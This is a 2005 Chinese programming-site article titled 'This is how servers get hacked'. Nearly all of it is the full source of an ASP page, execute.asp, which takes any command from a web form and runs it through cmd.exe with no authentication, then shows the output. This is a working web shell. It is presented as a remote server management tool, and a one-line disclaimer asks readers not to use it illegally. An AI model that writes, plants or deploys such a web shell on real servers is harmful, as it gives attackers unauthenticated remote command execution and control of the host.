设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 编程开发 >> 网络编程 >> ASP技巧 >> 服务器就是这样被黑的
精品推荐
ASP技巧点击TOP10
·网页JS分页代码
·ASP.NET数据库连接实例
·表单对象textarea内容的格式控制(回车、换行、空格)
·利用TeeChar生成统计图的使用方法(一、动态生成统计图)
·几种常用排序算法(asp)
·ASP实现可显示和隐藏的树型菜单
·生成缩略图并加水印的方法
·动态创建下拉菜单
·服务器就是这样被黑的
·返回UPDATE SQL语句所影响的行数的方法
网络编程点击TOP10
·ASP.NET 程序中常用的三十三种代码
·利用ASP.NET构建网上考试系统
·C#版的网站新闻发布系统
·设计ASP.NET新闻管理系统
·我的.NET书架 (入门篇)
·用ASP.NET和XML做的新闻系统
·.NET:是什么?将走向哪里?
·.NET 初 级 读 本
·十天学会ASP.net之第一天
·用C#实现木马程序
精选专题

服务器就是这样被黑的

作者: 来源:网络文章 时间:2005-12-13 22:36:35

最近正在写一个远程服务器管理的东东(借鉴了ASE的部分代码、增加了远程执行命令、上传、服务等功能。)
值得注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的
原代码。copy下来另存为execute.ASP.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); 

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none 

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.ASP">
  <p align="left">输入要执行的命令:<input type="text" name="ml" 

size="20" value="dir c:\" style="background-color: #C0C0C0; color: 

#000000; border-style: solid; border-width: 1"> 
  <input type="submit" value="执行" name="B1" style="background-color: 

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>  
</form>  
<%  
ml=request.form("ml")  
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

'whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")  
RetCode = WShShell.Run(cmd, 1, True)  
if RetCode = 0 Then  
    Response.write ml & ""
    Response.write " 命令成功执行!"&"<br><br>"  
else  
   Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行!"&"<br><br>"  

end if  
'response.write cmd  
                  
function htmlencode(str)  
dim result  
dim l  
if isNULL(str) then   
htmlencode=""  
exit function  
end if  
l=len(str)  
result=""  
    dim i  
    for i = 1 to l  
     select case mid(str,i,1)  
     case "<"  
     result=result+"<"  
     case ">"  
     result=result+">"  
     case chr(34)  
     result=result+"""  
     case "&"  
     result=result+"&amp;"  
     case else  
     result=result+mid(str,i,1)  
end select  
next   
htmlencode=result  
end function  
Set fs =CreateObject("Scripting.FileSystemObject")  
Set thisfile = fs.OpenTextFile("d:\foxzk\whoamI.txt", 1, False) '读文件,别忘了修改路径.
counter=0  
do while not thisfile.atendofstream  
counter=counter+1  
thisline=htmlencode(thisfile.readline)  
response.write thisline&"<br>"  
loop  
thisfile.Close  
set fs=nothing  
%>  
  
</body>  
  
</html>  

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担


服务器就是这样被黑的 相关文章:
服务器就是这样被黑的 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com